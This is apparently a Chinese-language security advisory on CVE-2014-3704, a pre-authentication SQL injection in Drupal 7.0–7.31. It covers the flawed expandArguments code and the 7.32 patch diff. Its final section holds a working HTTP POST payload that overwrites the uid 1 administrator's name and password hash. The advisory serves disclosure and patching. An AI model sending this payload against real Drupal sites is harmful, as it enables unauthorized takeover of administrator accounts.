0x00 背景


影響版本:7.0 到 7.31
危害:非登錄狀態SQL注入,可造成代碼執行。
風險:高危
廠商狀態:Drupal的7.32修復此漏洞
CVE:CVE-2014-3704

0x01 細節


Drupal在所有的SQL查詢語句當中都是用的預編譯來處理。

為了處理IN語句,有一個expandArguments函數來展開數組。

#!php
 protected function expandArguments(&$query, &$args) {
  $modified = FALSE;

  // If the placeholder value to insert is an array, assume that we need
  // to expand it out into a comma-delimited set of placeholders.
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    foreach ($data as $i => $value) {
      // This assumes that there are no other placeholders that use the same
      // name.  For example, if the array placeholder is defined as :example
      // and there is already an :example_2 placeholder, this will generate
      // a duplicate key.  We do not account for that as the calling code
      // is already broken if that happens.
      $new_keys[$key . '_' . $i] = $value;
    }

    // Update the query with the new placeholders.
    // preg_replace is necessary to ensure the replacement does not affect
    // placeholders that start with the same exact text. For example, if the
    // query contains the placeholders :foo and :foobar, and :foo has an
    // array of values, using str_replace would affect both placeholders,
    // but using the following preg_replace would only affect :foo because
    // it is followed by a non-word character.
    $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);

    // Update the args array with the new placeholders.
    unset($args[$key]);
    $args += $new_keys;

    $modified = TRUE;
  }

  return $modified;
}

該函數假定它被調用時是沒有key的。例如:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2'))); 

執行的SQL語句為:

SELECT * from users where name IN (:name_0, :name_1) 

通過參數傳入name_0= user1,name_1=user2。

那么問題來了,如果帶入數組當中有key并且不是整數呢。例如:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

執行SQL語句為:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

參數:name_test=user2。

由于Drupal使用PDO,因此可以多語句查詢。所以這個SQL注入向數據庫里插入任意數據,下載或者修改存在的數據,甚至drop掉整個數據庫。

攻擊者可以通過向數據庫里插入任意的數據,利用Drupal的特性執行PHP代碼。

0x02 修復方案


#!diff
diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

0x03 POC


有人在pastebin上放出了把原來id為1的管理,替換成名字為owned,密碼是thanks的管理員。

POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

您的支持將鼓勵我們繼續創作!

[微信] 掃描二維碼打賞

[支付寶] 掃描二維碼打賞